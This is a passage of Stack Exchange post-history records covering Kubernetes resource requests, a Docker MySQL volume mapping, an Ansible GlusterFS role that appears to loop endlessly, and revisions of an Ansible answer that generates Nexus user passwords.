  <row Id="34540" PostHistoryTypeId="2" PostId="11295" RevisionGUID="905a1e1a-5ed2-4a48-9e4d-b8fa40361908" CreationDate="2020-04-10T03:03:31.170" UserId="16059" Text="In addition to the good answer by @therianthropie, here are useful notes to help you understand the situation better.:&#xD;&#xA;&#xD;&#xA; - You can set requests and limits very arbitrarily (and yes, as fractions of a CPU and very small amounts of memory).&#xD;&#xA; - Kubernetes will *not* do its job well if you don't get real values for these.&#xD;&#xA; - If you under-shoot your request, kubernetes will schedule a lot of apps without requesting enough resources and you'll have problems with the CPU/memory/disk, and so on.&#xD;&#xA; - If you over-shoot your request a lot, your kubernetes nodes may be doing virtually nothing.&#xD;&#xA; - Some apps are very  CPU bound, some memory bound, some use virtually no resources.  So, you really can't guess.&#xD;&#xA; - Prometheus is a popular tool that you can install into kubernetes with basically a single command.&#xD;&#xA; - You can chart things in grafana.&#xD;&#xA; - So, then you choose your arbitrary  values, then watch the charts as you use the app, and then you can adjust them to something sane / useful so kubernetes can do its job well.  You can also set alerts with something called alert manager if your values are too ridiculous (it's a good idea once you're ready).&#xD;&#xA; - Note - requests are what kubernetes allocates for your pod.  Limits are the max resources your pod can spike to when it needs them. There is a general assumption that not all pods will spike in usage at once / or over a long term or else this idea would not work.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34541" PostHistoryTypeId="2" PostId="11296" RevisionGUID="9e6b74f4-5405-4d96-be60-ddf268fabc3b" CreationDate="2020-04-10T05:09:53.563" UserId="21624" Text="    volumes:&#xD;&#xA;      - /usr/local/db-backup:/var/lib/mysql # On Linux, For backup data from the docker container to the host&#xD;&#xA;      - D:/Docker_volumes/mysql/db-backup:/var/lib/mysql # On Windows, you need to config File Sharing with &quot;D:&quot; mounted when starting docker.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34542" PostHistoryTypeId="2" PostId="11297" RevisionGUID="2f62264a-42b1-4e61-b581-535250449c38" CreationDate="2020-04-10T08:41:48.090" UserId="17218" Text="I wrote some roles for my home lab to setup a GlusterFS cluster.&#xD;&#xA;&#xD;&#xA;But when I run it on my 2 nodes, some tasks get executed over and over again and it seems that it never ends.&#xD;&#xA;&#xD;&#xA;Here is the log output (I cut it off at some point and also removed a lot of the * characters)&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; ✘ user@pc  ~/ansible   feature/role-gluster  ansible-playbook -i inventories/playground/hosts.yaml site.yml -K&#xD;&#xA;BECOME password: &#xD;&#xA;&#xD;&#xA;PLAY [storageservers] ******************&#xD;&#xA;&#xD;&#xA;TASK [Gathering Facts] *****************&#xD;&#xA;ok: [node2]&#xD;&#xA;ok: [node1]&#xD;&#xA;&#xD;&#xA;TASK [include_role : gluster-node] *****&#xD;&#xA;&#xD;&#xA;TASK [include_role : gluster-node-partition] &#xD;&#xA;&#xD;&#xA;TASK [include_role : gluster-node-partition] &#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create data1 partition] &#xD;&#xA;changed: [node2]&#xD;&#xA;changed: [node1]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create filesystem on data1 partition] &#xD;&#xA;changed: [node2]&#xD;&#xA;changed: [node1]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create mount point for data1 partition] &#xD;&#xA;changed: [node1]&#xD;&#xA;changed: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Mount data1 partition] *&#xD;&#xA;changed: [node2]&#xD;&#xA;changed: [node1]&#xD;&#xA;&#xD;&#xA;TASK [Create data1 partition] **********&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create data1 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create filesystem on data1 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create mount point for data1 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Mount data1 partition] *&#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [Create data2 partition] **********&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create data2 partition] &#xD;&#xA;changed: [node1]&#xD;&#xA;changed: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create filesystem on data2 partition] &#xD;&#xA;changed: [node2]&#xD;&#xA;changed: [node1]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create mount point for data2 partition] &#xD;&#xA;changed: [node1]&#xD;&#xA;changed: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Mount data2 partition] *&#xD;&#xA;changed: [node1]&#xD;&#xA;changed: [node2]&#xD;&#xA;&#xD;&#xA;TASK [Create data3 partition] **********&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create data3 partition] &#xD;&#xA;changed: [node2]&#xD;&#xA;changed: [node1]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create filesystem on data3 partition] &#xD;&#xA;changed: [node1]&#xD;&#xA;changed: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create mount point for data3 partition] &#xD;&#xA;changed: [node1]&#xD;&#xA;changed: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Mount data3 partition] *&#xD;&#xA;changed: [node1]&#xD;&#xA;changed: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node : Update apt-get repo and cache] ***&#xD;&#xA;ok: [node2]&#xD;&#xA;ok: [node1]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node : Upgrade all apt packages] ********&#xD;&#xA;changed: [node2]&#xD;&#xA;&#xD;&#xA;changed: [node1]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node : Install GlusterFS] &#xD;&#xA;changed: [node2]&#xD;&#xA;changed: [node1]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node : Enable GlusterFS on Boot] ********&#xD;&#xA;changed: [node2]&#xD;&#xA;changed: [node1]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node : Probe GlusterFS Nodes] *&#xD;&#xA;changed: [node1] =&gt; (item=node1)&#xD;&#xA;changed: [node2] =&gt; (item=node1)&#xD;&#xA;changed: [node1] =&gt; (item=node2)&#xD;&#xA;changed: [node2] =&gt; (item=node2)&#xD;&#xA;&#xD;&#xA;TASK [gluster-node : Ensure Gluster brick and mount directories exist.] &#xD;&#xA;changed: [node1] =&gt; (item=/data1)&#xD;&#xA;changed: [node2] =&gt; (item=/data1)&#xD;&#xA;changed: [node1] =&gt; (item=/gluster_volume1)&#xD;&#xA;changed: [node2] =&gt; (item=/gluster_volume1)&#xD;&#xA;&#xD;&#xA;TASK [gluster-node : Configure Gluster volume.] *******&#xD;&#xA;changed: [node1]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node : Ensure Gluster volume is mounted.] *************&#xD;&#xA;changed: [node1]&#xD;&#xA;changed: [node2]&#xD;&#xA;&#xD;&#xA;TASK [include_role : gluster-node-partition] &#xD;&#xA;&#xD;&#xA;TASK [include_role : gluster-node-partition] &#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create data1 partition] &#xD;&#xA;ok: [node2]&#xD;&#xA;ok: [node1]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create filesystem on data1 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create mount point for data1 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Mount data1 partition] *&#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [Create data1 partition] **********&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create data1 partition] &#xD;&#xA;ok: [node2]&#xD;&#xA;ok: [node1]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create filesystem on data1 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create mount point for data1 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Mount data1 partition] *&#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [Create data2 partition] **********&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create data2 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create filesystem on data2 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create mount point for data2 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Mount data2 partition] *&#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [Create data3 partition] **********&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create data3 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create filesystem on data3 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create mount point for data3 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Mount data3 partition] *&#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [Create default partitioning] *****&#xD;&#xA;&#xD;&#xA;TASK [Create gluster volume for partition 1] &#xD;&#xA;&#xD;&#xA;TASK [include_role : gluster-node] *****&#xD;&#xA;&#xD;&#xA;TASK [include_role : gluster-node-partition] &#xD;&#xA;&#xD;&#xA;TASK [include_role : gluster-node-partition] &#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create data1 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create filesystem on data1 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create mount point for data1 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Mount data1 partition] *&#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [Create data1 partition] **********&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create data1 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create filesystem on data1 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create mount point for data1 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Mount data1 partition] *&#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [Create data2 partition] **********&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create data2 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create filesystem on data2 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create mount point for data2 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Mount data2 partition] *&#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [Create data3 partition] **********&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create data3 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create filesystem on data3 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create mount point for data3 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Mount data3 partition] *&#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node : Update apt-get repo and cache] ***&#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node : Upgrade all apt packages] ********&#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node : Install GlusterFS] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node : Enable GlusterFS on Boot] ********&#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node : Probe GlusterFS Nodes] *&#xD;&#xA;changed: [node1] =&gt; (item=node1)&#xD;&#xA;changed: [node2] =&gt; (item=node1)&#xD;&#xA;changed: [node2] =&gt; (item=node2)&#xD;&#xA;changed: [node1] =&gt; (item=node2)&#xD;&#xA;&#xD;&#xA;TASK [gluster-node : Ensure Gluster brick and mount directories exist.] &#xD;&#xA;ok: [node1] =&gt; (item=/data1)&#xD;&#xA;ok: [node2] =&gt; (item=/data1)&#xD;&#xA;ok: [node1] =&gt; (item=/gluster_volume1)&#xD;&#xA;ok: [node2] =&gt; (item=/gluster_volume1)&#xD;&#xA;&#xD;&#xA;TASK [gluster-node : Configure Gluster volume.] *******&#xD;&#xA;ok: [node1]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node : Ensure Gluster volume is mounted.] *************&#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [include_role : gluster-node-partition] &#xD;&#xA;&#xD;&#xA;TASK [include_role : gluster-node-partition] &#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create data1 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create filesystem on data1 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create mount point for data1 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Mount data1 partition] *&#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [Create data1 partition] **********&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create data1 partition] &#xD;&#xA;ok: [node2]&#xD;&#xA;ok: [node1]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create filesystem on data1 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create mount point for data1 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Mount data1 partition] *&#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [Create data2 partition] **********&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create data2 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create filesystem on data2 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create mount point for data2 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Mount data2 partition] *&#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [Create data3 partition] **********&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create data3 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create filesystem on data3 partition] &#xD;&#xA;ok: [node2]&#xD;&#xA;ok: [node1]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create mount point for data3 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Mount data3 partition] *&#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [Create default partitioning] *****&#xD;&#xA;&#xD;&#xA;TASK [Create gluster volume for partition 1] &#xD;&#xA;&#xD;&#xA;TASK [include_role : gluster-node] *****&#xD;&#xA;&#xD;&#xA;TASK [include_role : gluster-node-partition] &#xD;&#xA;&#xD;&#xA;TASK [include_role : gluster-node-partition] &#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create data1 partition] &#xD;&#xA;ok: [node2]&#xD;&#xA;ok: [node1]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create filesystem on data1 partition] &#xD;&#xA;ok: [node2]&#xD;&#xA;ok: [node1]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create mount point for data1 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Mount data1 partition] *&#xD;&#xA;ok: [node2]&#xD;&#xA;ok: [node1]&#xD;&#xA;&#xD;&#xA;TASK [Create data1 partition] **********&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create data1 partition] &#xD;&#xA;ok: [node2]&#xD;&#xA;ok: [node1]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create filesystem on data1 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create mount point for data1 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Mount data1 partition] *&#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [Create data2 partition] **********&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create data2 partition] &#xD;&#xA;ok: [node2]&#xD;&#xA;ok: [node1]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create filesystem on data2 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create mount point for data2 partition] &#xD;&#xA;ok: [node2]&#xD;&#xA;ok: [node1]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Mount data2 partition] *&#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [Create data3 partition] **********&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create data3 partition] &#xD;&#xA;ok: [node2]&#xD;&#xA;ok: [node1]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create filesystem on data3 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create mount point for data3 partition] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Mount data3 partition] *&#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node : Update apt-get repo and cache] ***&#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node : Upgrade all apt packages] ********&#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node : Install GlusterFS] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node : Enable GlusterFS on Boot] &#xD;&#xA;ok: [node1]&#xD;&#xA;ok: [node2]&#xD;&#xA;&#xD;&#xA;TASK [gluster-node : Probe GlusterFS Nodes] &#xD;&#xA;changed: [node1] =&gt; (item=node1)&#xD;&#xA;changed: [node2] =&gt; (item=node1)&#xD;&#xA;changed: [node1] =&gt; (item=node2)&#xD;&#xA;changed: [node2] =&gt; (item=node2)&#xD;&#xA;&#xD;&#xA;TASK [gluster-node : Ensure Gluster brick and mount directories exist.] &#xD;&#xA;ok: [node1] =&gt; (item=/data1)&#xD;&#xA;ok: [node2] =&gt; (item=/data1)&#xD;&#xA;ok: [node1] =&gt; (item=/gluster_volume1)&#xD;&#xA;ok: [node2] =&gt; (item=/gluster_volume1)&#xD;&#xA;&#xD;&#xA;TASK [gluster-node : Configure Gluster volume.] &#xD;&#xA;ok: [node1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;^C [ERROR]: User interrupted execution&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I placed all the code here:&#xD;&#xA;https://github.com/CodingSpiderFox/ansible-loop-problem" ContentLicense="CC BY-SA 4.0" />
  <row Id="34543" PostHistoryTypeId="1" PostId="11297" RevisionGUID="2f62264a-42b1-4e61-b581-535250449c38" CreationDate="2020-04-10T08:41:48.090" UserId="17218" Text="Ansible seems to execute infinite loop" ContentLicense="CC BY-SA 4.0" />
  <row Id="34544" PostHistoryTypeId="3" PostId="11297" RevisionGUID="2f62264a-42b1-4e61-b581-535250449c38" CreationDate="2020-04-10T08:41:48.090" UserId="17218" Text="&lt;ansible&gt;&lt;yaml&gt;&lt;glusterfs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34545" PostHistoryTypeId="2" PostId="11298" RevisionGUID="4ba03d6a-83e3-4b60-858a-eff3bafc4e1f" CreationDate="2020-04-10T10:00:39.637" UserId="21607" Text="I solved this with the Jinja test &quot;exists&quot; and the select filter to filter away the resulting 'AnsibleUndefined' values. The &quot;is exists&quot; test checks if the path exists on the host were the Ansible code is executing on. This is the place the credentials are stored.&#xD;&#xA;&#xD;&#xA;The solved code is below:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      tasks:&#xD;&#xA;      - name: Include users.yaml and setup all vars for nexus&#xD;&#xA;        include_vars:&#xD;&#xA;          file: users.yaml&#xD;&#xA;          name: users&#xD;&#xA;      - set_fact:&#xD;&#xA;          tmp_user:&#xD;&#xA;          - username: &quot;{{ item.username }}&quot;&#xD;&#xA;            first_name: &quot;{{ item.first_name }}&quot;&#xD;&#xA;            last_name: &quot;{{ item.last_name }}&quot;&#xD;&#xA;            email: &quot;{{ item.email }}&quot;&#xD;&#xA;            password: &quot;{{ lookup('password', 'credentials/' + item.username + '/password.txt length=15 chars=ascii_letters') }}&quot;&#xD;&#xA;            roles: &quot;{{ item.roles }}&quot;&#xD;&#xA;        loop: &quot;{{ users.nexus_local_users }}&quot;&#xD;&#xA;        register: tmp_users&#xD;&#xA;        when: &quot;not '{{ playbook_dir }}/credentials/{{ item.username }}/password.txt' is exists&quot;&#xD;&#xA;      - set_fact:&#xD;&#xA;          tmp_user: &quot;{{ item.item | combine(item.item) }}&quot;&#xD;&#xA;        with_items: &quot;{{ tmp_users.results }}&quot;&#xD;&#xA;        register: tmp_users&#xD;&#xA;        when: &quot;not item is skipped&quot;&#xD;&#xA;      - set_fact:&#xD;&#xA;          nexus_local_users: &quot;{{ tmp_users.results | map(attribute='ansible_facts.tmp_user') | list | select('defined') | list }}&quot;&#xD;&#xA;      - debug:&#xD;&#xA;          msg: &quot;{{ nexus_local_users }}&quot;&#xD;&#xA;&#xD;&#xA;The following was added/changed:&#xD;&#xA;&#xD;&#xA;        when: &quot;not '{{ playbook_dir }}/credentials/{{ item.username }}/password.txt' is exists&quot;&#xD;&#xA;&#xD;&#xA;-&#xD;&#xA;&#xD;&#xA;          nexus_local_users: &quot;{{ tmp_users.results | map(attribute='ansible_facts.tmp_user') | list | select('defined') | list }}&quot;&#xD;&#xA;&#xD;&#xA;This makes for a compact solution without adding more tasks/files.&#xD;&#xA;&#xD;&#xA;For more information see: https://docs.ansible.com/ansible/latest/user_guide/playbooks_tests.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="34547" PostHistoryTypeId="50" PostId="9760" RevisionGUID="d50eaf81-38d4-4a68-9bf2-994f34ada8d3" CreationDate="2020-04-10T11:00:40.050" UserId="-1" />
  <row Id="34548" PostHistoryTypeId="5" PostId="11298" RevisionGUID="8e6296df-1872-4bbc-8553-08fc78453b3b" CreationDate="2020-04-10T11:09:56.280" UserId="21607" Comment="forgot &quot;item&quot;" Text="I solved this with the Jinja test &quot;exists&quot; and the select filter to filter away the resulting 'AnsibleUndefined' values. The &quot;is exists&quot; test checks if the path exists on the ansible control host. This is the place the credentials are stored.&#xD;&#xA;&#xD;&#xA;The solved code is below:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      tasks:&#xD;&#xA;      - name: Include users.yaml and setup all vars for nexus&#xD;&#xA;        include_vars:&#xD;&#xA;          file: users.yaml&#xD;&#xA;          name: users&#xD;&#xA;      - set_fact:&#xD;&#xA;          tmp_user:&#xD;&#xA;          - username: &quot;{{ item.username }}&quot;&#xD;&#xA;            first_name: &quot;{{ item.first_name }}&quot;&#xD;&#xA;            last_name: &quot;{{ item.last_name }}&quot;&#xD;&#xA;            email: &quot;{{ item.email }}&quot;&#xD;&#xA;            password: &quot;{{ lookup('password', 'credentials/' + item.username + '/password.txt length=15 chars=ascii_letters') }}&quot;&#xD;&#xA;            roles: &quot;{{ item.roles }}&quot;&#xD;&#xA;        loop: &quot;{{ users.nexus_local_users }}&quot;&#xD;&#xA;        register: tmp_users&#xD;&#xA;        when: &quot;not '{{ playbook_dir }}/credentials/{{ item.username }}/password.txt' is exists&quot;&#xD;&#xA;      - set_fact:&#xD;&#xA;          tmp_user: &quot;{{ item.ansible_facts.tmp_user | combine(item.item) }}&quot;&#xD;&#xA;        with_items: &quot;{{ tmp_users.results }}&quot;&#xD;&#xA;        register: tmp_users_sorted&#xD;&#xA;        when: &quot;not item is skipped&quot;&#xD;&#xA;      - set_fact:&#xD;&#xA;          nexus_local_users: &quot;{{ tmp_users_sorted.results | map(attribute='item.ansible_facts.tmp_user') | list | select('defined') | list }}&quot;&#xD;&#xA;      - debug:&#xD;&#xA;          msg: &quot;{{ nexus_local_users }}&quot;&#xD;&#xA;&#xD;&#xA;The following was added/changed:&#xD;&#xA;&#xD;&#xA;        when: &quot;not '{{ playbook_dir }}/credentials/{{ item.username }}/password.txt' is exists&quot;&#xD;&#xA;&#xD;&#xA;-&#xD;&#xA;&#xD;&#xA;        nexus_local_users: &quot;{{ tmp_users_sorted.results | map(attribute='item.ansible_facts.tmp_user') | list | select('defined') | list }}&quot;&#xD;&#xA;&#xD;&#xA;-&#xD;&#xA;&#xD;&#xA;       when: &quot;not item is skipped&quot;&#xD;&#xA;&#xD;&#xA;This makes for a compact solution without adding more tasks/files.&#xD;&#xA;&#xD;&#xA;For more information see: https://docs.ansible.com/ansible/latest/user_guide/playbooks_tests.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="34549" PostHistoryTypeId="5" PostId="11298" RevisionGUID="b008b396-eb6d-4834-8c78-fbf98030bbeb" CreationDate="2020-04-10T11:48:56.230" UserId="21607" Comment="formatting ans styling" Text="I solved this with the Jinja test &quot;exists&quot; and the select filter to filter away the resulting 'AnsibleUndefined' values. The &quot;is exists&quot; test checks if the path exists on the ansible control host. This is the place the credentials are stored.&#xD;&#xA;&#xD;&#xA;The solved code is below:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;    ---&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      tasks:&#xD;&#xA;      - name: Include users.yaml and setup all vars for nexus&#xD;&#xA;        include_vars:&#xD;&#xA;          file: users.yaml&#xD;&#xA;          name: users&#xD;&#xA;      - set_fact:&#xD;&#xA;          tmp_user:&#xD;&#xA;          - username: &quot;{{ item.username }}&quot;&#xD;&#xA;            first_name: &quot;{{ item.first_name }}&quot;&#xD;&#xA;            last_name: &quot;{{ item.last_name }}&quot;&#xD;&#xA;            email: &quot;{{ item.email }}&quot;&#xD;&#xA;            password: &quot;{{ lookup('password', 'credentials/' + item.username + '/password.txt length=15 chars=ascii_letters') }}&quot;&#xD;&#xA;            roles: &quot;{{ item.roles }}&quot;&#xD;&#xA;        loop: &quot;{{ users.nexus_local_users }}&quot;&#xD;&#xA;        register: tmp_users&#xD;&#xA;        when: &quot;not '{{ playbook_dir }}/credentials/{{ item.username }}/password.txt' is exists&quot;&#xD;&#xA;      - set_fact:&#xD;&#xA;          tmp_user: &quot;{{ item.ansible_facts.tmp_user | 